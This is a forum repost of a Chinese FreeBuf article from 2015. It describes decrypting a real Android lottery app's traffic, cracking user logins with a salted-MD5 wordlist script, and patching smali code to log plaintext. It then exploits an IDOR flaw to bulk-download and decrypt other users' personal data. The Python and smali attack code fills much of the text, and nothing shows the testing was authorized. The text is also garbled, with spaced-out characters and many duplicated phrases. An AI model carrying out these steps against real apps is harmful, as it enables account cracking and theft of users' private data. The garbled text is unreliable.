搜索

[8601] 2015-01-19_从APK解密到批量获取他人信息

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2015-01-19_从APK解密到批量获取他人信息 从 A P K 解 密 到 批 量 获 取 他 人 信 息 F r e e B u f   2 0 1 5 - 0 1 - 1 9 0 x 0 0 . 背 景 背 景 A P K 是 是 A n d r o i d P a c k a g e 的 缩 写 ， 即 的 缩 写 ， 即 A n d r o i d 安 装 包 安 装 包 ( a p k ) 。 。 A P K 是 类 似 是 类 似 S y m b i a n   S i s 或 或 S i s x 的 文 件 格 式 。 通 过 将 的 文 件 格 式 。 通 过 将 A P K 文 件 直 接 传 到 文 件 直 接 传 到 A n d r o i d 模 拟 器 或 模 拟 器 或 A n d r o i d 手 机 中 执 行 即 可 安 装 。 手 机 中 执 行 即 可 安 装 。 本 次 对 这 个 本 次 对 这 个 A P K 进 行 分 析 ， 通 过 解 密 加 密 的 数 据 ， 进 而 发 现 存 在 越 权 漏 洞 ， 然 后 就 可 以 批 量 下 载 其 他 用 户 的 数 据 。 进 行 分 析 ， 通 过 解 密 加 密 的 数 据 ， 进 而 发 现 存 在 越 权 漏 洞 ， 然 后 就 可 以 批 量 下 载 其 他 用 户 的 数 据 。 0 x 0 1 . 过 程 过 程 1 . 1   登 录 破 解 登 录 破 解 1 . 安 装 完 成 安 装 完 成 A P K 后 后 , 打 开 打 开 , 使 用 使 用 b u r p 截 包 截 包 , 没 想 到 没 想 到 , 在 登 录 的 地 方 就 进 行 了 加 密 。 在 登 录 的 地 方 就 进 行 了 加 密 。   2 . 此 时 在 此 时 在 l o g c a t 中 看 到 了 敏 感 信 息 中 看 到 了 敏 感 信 息 , 存 在 关 键 字 存 在 关 键 字 “ 加 密 前 加 密 前 ” 和 和 “ 加 密 后 加 密 后 ” 3 . 于 是 反 编 译 于 是 反 编 译 A P K , 搜 索 搜 索 “ 加 密 前 加 密 前 ” , 用 用 J D - G U I 打 开 打 开 可 以 清 楚 的 看 到 , 加 密 的 字 段 就 是 这 段 代 码 了 , 代 码 追 踪 后 , 发 现 s t r 1 就 是 输 入 的 用 户 名 , 那 现 在 明 白 了 , s i n g 的 值 就 是 m d 5 ( 用 户 名 + x x x @ x x x . c n ) 。 下 面 也 证 明 了
既 然 知 道 了 加 密 的 算 法 , 那 就 开 始 破 解 吧 , 使 用 p y t h o n 生 成 了 密 码 本 , 然 后 对 用 户 名 进 行 破 解 。 i m p o r t   h a s h l i b i m p o r t   o s m d 5 v a l u e   =   [ ] f 1   =   f i l e ( ' / U s e r s / 0 x E x p l o i t / T o o l s / p a s s w d 1 . t x t ' ) f o r   i   i n   f 1 . r e a d l i n e s ( ) :         i   =     i . s t r i p ( ' n r ' )         m d 5 _ 3 2   =   h a s h l i b . m d 5 ( i + ' x x x @ x x x . c o m ' ) . h e x d i g e s t ( )         m d 5 v a l u e . a p p e n d ( m d 5 _ 3 2 ) f 1 . c l o s e ( ) f 2   =   f i l e ( ' / U s e r s / 0 x E x p l o i t / T o o l s / p a s s w d _ m d 5 . t x t ' , ' a + ' ) f o r   i   i n   m d 5 v a l u e :         f 2 . w r i t e l i n e s ( i + o s . l i n e s e p ) f 2 . c l o s e ( ) 如 果 就 这 么 结 束 了 , 那 也 太 e a s y 了 。 。 1 . 2   功 能 破 解 功 能 破 解 成 功 破 解 出 一 个 账 号 , 登 录 后 , 随 便 点 击 一 个 功 能 模 块 , 使 用 b u r p 截 包 。 r e q u e s t 数 据 包 如 下 , 可 以 看 到 , 又 进 行 了 加 密 。 。 r e s p o n s e 数 据 包 如 下 , 也 是 加 密 的 。   仔 细 想 想 , 数 据 包 发 送 和 接 收 都 是 加 密 的 , 那 么 加 密 和 解 密 的 函 数 一 般 都 在 A P K 里 面 , 不 然 数 据 无 法 正 常 显 示 在   页 面 上 。 从 图 中 可 以 看 到 , 请 求 的 d a t a 部 分 是 m s g = . . . , 于 是 我 们 在 反 编 译 后 的 代 码 中 搜 索 m s g , 定 位 到 h t t p R e q u e s t M a n a g e r . c l a s s 中 , 然 后 确 认 m s g 的 值 是 s t r 2 = l o c a l D i s p a t c h P r o t o c a l . m a s h a l l ( ) 。 那 现 在 我 们 看 看 m a s h a l l ( ) 中 的 代 码 吧 。
看 到 字 符 串 " m a s h a l l 明 文 " 和 " m a s h a l l 密 文 " 了 , 好 激 动 。 。 但 是 可 以 看 到 s t r 3 中 包 含 了 很 多 的 数 据 , 那 么 我 们 直   接 用 l o g 输 出 吧 。   定 义 一 个 c r a c k . s m a l i 文 件 ， 放 到 反 编 译 后 的 s m a l i 文 件 夹 中 ， 内 容 如 下 ： . c l a s s   p u b l i c   L c r a c k ; . s u p e r   L j a v a / l a n g / O b j e c t ; . s o u r c e   " c r a c k . j a v a "   . m e t h o d   p u b l i c   s t a t i c   l o g ( L j a v a / l a n g / S t r i n g ; ) V         . l o c a l s   1         . p r o l o g u e                 c o n s t - s t r i n g   v 0 ,   " i n f o 1 "         i n v o k e - s t a t i c   { v 0 ,   p 0 } ,   L a n d r o i d / u t i l / L o g ; - > d ( L j a v a / l a n g / S t r i n g ; L j a v a / l a n g / S t r i n g ; ) I                 r e t u r n - v o i d . e n d   m e t h o d 然 后 再 s m a l i 中 , 添 加 如 下 代 码 , v 6 是 加 密 前 的 数 据 , V 8 是 加 密 后 的 数 据 , 所 以 我 们 直 接 在 L o g 中 将 代 码 输 出 。
在 “ m a s h a l l 明 文 ” 上 面 , 还 有 一 个 字 段 使 用 了 M D 5 进 行 了 加 密 , 我 们 定 位 到 M D 5 函 数 , 仍 然 使 用 L o g , 将 参 数 输   出 出 来 。 然 后 打 开 e c l i p s e , 重 新 打 包 A P K , 运 行 程 序 。 观 察 L o g , 如 下 : 第 一 条 日 志 : 是 当 前 时 间 , 即 代 码 中 的 s e t P o s t T i m e ( ) 函 数 . 第 二 条 日 志 : 参 数 + 当 前 时 间 + s a l t 第 三 条 日 志 : m d 5 ( 参 数 + 当 前 时 间 + s a l t ) 第 四 条 日 志 : r e q u e s t 加 密 前 内 容 第 五 条 日 志 : r e q u e s t 加 密 后 的 内 容 。 现 在 我 们 比 一 下 , 在 一 次 测 试 中 , b u r p 拦 截 到 的 m s g 内 容 和 L o g 中 加 密 后 的 数 据 是 一 样 的 。 通 过 这 几 条 日 志 的 分 析 ， 我 们 现 在 已 经 很 清 楚 的 知 道 了 r e q u e s t 中 参 数 是 如 何 进 行 加 密 的 。 这 里 面 唯 一 的 变 量 就 是 u s e r I d ( s e t P o s t T i m e ( ) 可 以 是 一 样 的 值 ) ， 通 过 修 改 u s e r I d ， 巧 合 的 测 试 到 此 处 存 在 水 平 权 限 问 题 ， 即 可 以 查 询 到 其 他 用 户 的 信 息 。 1 . 3   批 量 破 解 批 量 破 解 通 过 前 面 的 分 析 , 我 们 知 道 , 可 以 获 取 到 其 他 用 户 的 信 息 , 但 是 我 们 还 不 能 通 过 b u r p 的 i n t r u d e r 功 能 , 因 为 返 回   的 信 息 是 加 密 的 。 那 我 们 现 在 找 找 解 密 的 函 数 吧 。   因 为 上 面 的 加 密 函 数 是 e n c r y p t 3 D E S ( ) , 所 以 现 在 我 们 搜 索 3 D E S 相 关 的 函 数 , 最 终 找 到 了 解 密 函 数 d e c r y p t 3 D E S ( ) 现 在 , 我 们 可 以 编 程 实 现 这 个 算 法 , 然 后 统 一 解 密 , 也 可 以 编 写 s m a l i , 直 接 进 行 解 密 。   我 采 用 第 二 种 方 式 ( 并 不   是 直 接 写 s m a l i , 而 是 先 写 a n d r o i d 代 码 , 然 后 反 编 译 得 到 自 己 想 要 的 代 码 )
我 采 用 的 思 路 是 : 直 接 利 用 A P K 中 的 解 密 函 数 , 批 量 进 行 解 密 。 1 . 使 用 使 用 p y t h o n 的 的 u r l l i b 2 模 块 批 量 请 求 模 块 批 量 请 求 , 这 个 很 方 便 。 这 个 很 方 便 。 2 . 将 加 密 的 将 加 密 的 r e s p o n s e 放 到 数 组 中 放 到 数 组 中 , 然 后 在 一 个 然 后 在 一 个 o n c l i c k 中 执 行 中 执 行 f o r 循 环 循 环 , 调 用 调 用 u n m a s h a l l ( ) ( u n m a s h a l l 函 数 是 调 用 函 数 是 调 用 d e c r y p t 3 D E S 进 行 解 密 的 函 进 行 解 密 的 函 数 数 ) 函 数 函 数 , f o r 循 环 类 似 如 下 循 环 类 似 如 下 : . m e t h o d   p u b l i c   s t a t i c   g e t ( ) V         . l o c a l s   4         . p r o l o g u e         . l i n e   2 0         c o n s t / 1 6   v 2 ,   0 x a         n e w - a r r a y   v 1 ,   v 2 ,   [ L j a v a / l a n g / S t r i n g ;         . l i n e   2 1         . l o c a l   v 1 ,   " s t r " : [ L j a v a / l a n g / S t r i n g ;         c o n s t / 4   v 2 ,   0 x 0         c o n s t - s t r i n g   v 3 ,   " . . . . . . . . . "         a p u t - o b j e c t   v 3 ,   v 1 ,   v 2         . l i n e   2 2         c o n s t / 4   v 0 ,   0 x 0         . l o c a l   v 0 ,   " i " : I         : g o t o _ 0         a r r a y - l e n g t h   v 2 ,   v 1         i f - l t   v 0 ,   v 2 ,   : c o n d _ 0         . l i n e   2 6         r e t u r n - v o i d         . l i n e   2 3         : c o n d _ 0         i n v o k e - v i r t u a l   { v 3 } ,   L c o m / j i f e n k a / l o t t e r y / m a n a g e r / S e c u r i t y M a n a g e r ; - > u n m a s h a l l ( L j a v a / l a n g / S t r i n g ; ) L j a v a / l a n g / S t r i n g ;         . l i n e   2 2         a d d - i n t / l i t 8   v 0 ,   v 0 ,   0 x 1         g o t o   : g o t o _ 0 . e n d   m e t h o d 3 . 写 一 个 将 解 密 的 写 一 个 将 解 密 的 r e s p o n s e 写 入 到 文 件 的 代 码 ， 如 下 ： 写 入 到 文 件 的 代 码 ， 如 下 ： . m e t h o d   p u b l i c   s t a t i c   p u t s ( L j a v a / l a n g / S t r i n g ; ) V         . l o c a l s   7           . p r o l o g u e         : t r y _ s t a r t _ 0           c o n s t - s t r i n g   v 3 ,   " / s d c a r d / d e b u g . t x t "             n e w - i n s t a n c e   v 2 ,   L j a v a / i o / F i l e O u t p u t S t r e a m ;           c o n s t / 4   v 5 ,   0 x 1           i n v o k e - d i r e c t   { v 2 ,   v 3 ,   v 5 } ,   L j a v a / i o / F i l e O u t p u t S t r e a m ; - > < i n i t > ( L j a v a / l a n g / S t r i n g ; Z ) V           . l i n e   1 9         n e w - i n s t a n c e   v 4 ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ;           c o n s t - s t r i n g   v 5 ,   " g b 2 3 1 2 "           i n v o k e - d i r e c t   { v 4 ,   v 2 ,   v 5 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > < i n i t > ( L j a v a / i o / O u t p u t S t r e a m ; L j a v a / l a n g / S t r i n g ; ) V           . l i n e   2 1         i n v o k e - v i r t u a l   { v 4 ,   p 0 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > w r i t e ( L j a v a / l a n g / S t r i n g ; ) V           c o n s t - s t r i n g   v 5 ,   " r n "  
        i n v o k e - v i r t u a l   { v 4 ,   v 5 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > w r i t e ( L j a v a / l a n g / S t r i n g ; ) V         . l i n e   2 3         i n v o k e - v i r t u a l   { v 4 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > f l u s h ( ) V           . l i n e   2 5         i n v o k e - v i r t u a l   { v 4 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > c l o s e ( ) V           . l i n e   2 7         i n v o k e - v i r t u a l   { v 2 } ,   L j a v a / i o / F i l e O u t p u t S t r e a m ; - > c l o s e ( ) V         : t r y _ e n d _ 0         . c a t c h   L j a v a / l a n g / E x c e p t i o n ;   { : t r y _ s t a r t _ 0   . .   : t r y _ e n d _ 0 }   : c a t c h _ 0           . l i n e   3 7           : c o n d _ 0         : g o t o _ 0         r e t u r n - v o i d           . l i n e   3 0         : c a t c h _ 0         m o v e - e x c e p t i o n   v 0           . l i n e   3 4         c o n s t - s t r i n g   v 5 ,   " d e b u g "           c o n s t - s t r i n g   v 6 ,   " f i l e   w r i t e   e r r o r "           i n v o k e - s t a t i c   { v 5 ,   v 6 } ,   L a n d r o i d / u t i l / L o g ; - > e ( L j a v a / l a n g / S t r i n g ; L j a v a / l a n g / S t r i n g ; ) I           g o t o   : g o t o _ 0 . e n d   m e t h o d 4 . 在 在 r e s p o n s e 函 数 中 引 用 函 数 中 引 用 p u t s 方 法 ， 就 会 执 行 方 法 ， 就 会 执 行 5 . 最 终 结 果 如 下 最 终 结 果 如 下 ( 就 测 试 了 几 个 账 号 。 就 测 试 了 几 个 账 号 。 ) ： ： 0 x 0 3 .   总 结 总 结 其 实 这 个 渗 透 就 是 用 了 一 个 水 平 越 权 的 漏 洞 其 实 这 个 渗 透 就 是 用 了 一 个 水 平 越 权 的 漏 洞 , 但 是 在 很 多 但 是 在 很 多 A P K 中 并 没 有 重 视 这 些 问 题 中 并 没 有 重 视 这 些 问 题 , 以 为 加 密 了 就 能 解 决 问 题 。 。 好 了 以 为 加 密 了 就 能 解 决 问 题 。 。 好 了 , 码 完 了 码 完 了 , 累 尿 了 。 累 尿 了 。
[ 本 文 作 者 本 文 作 者 / 0 x E x p l o i t ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理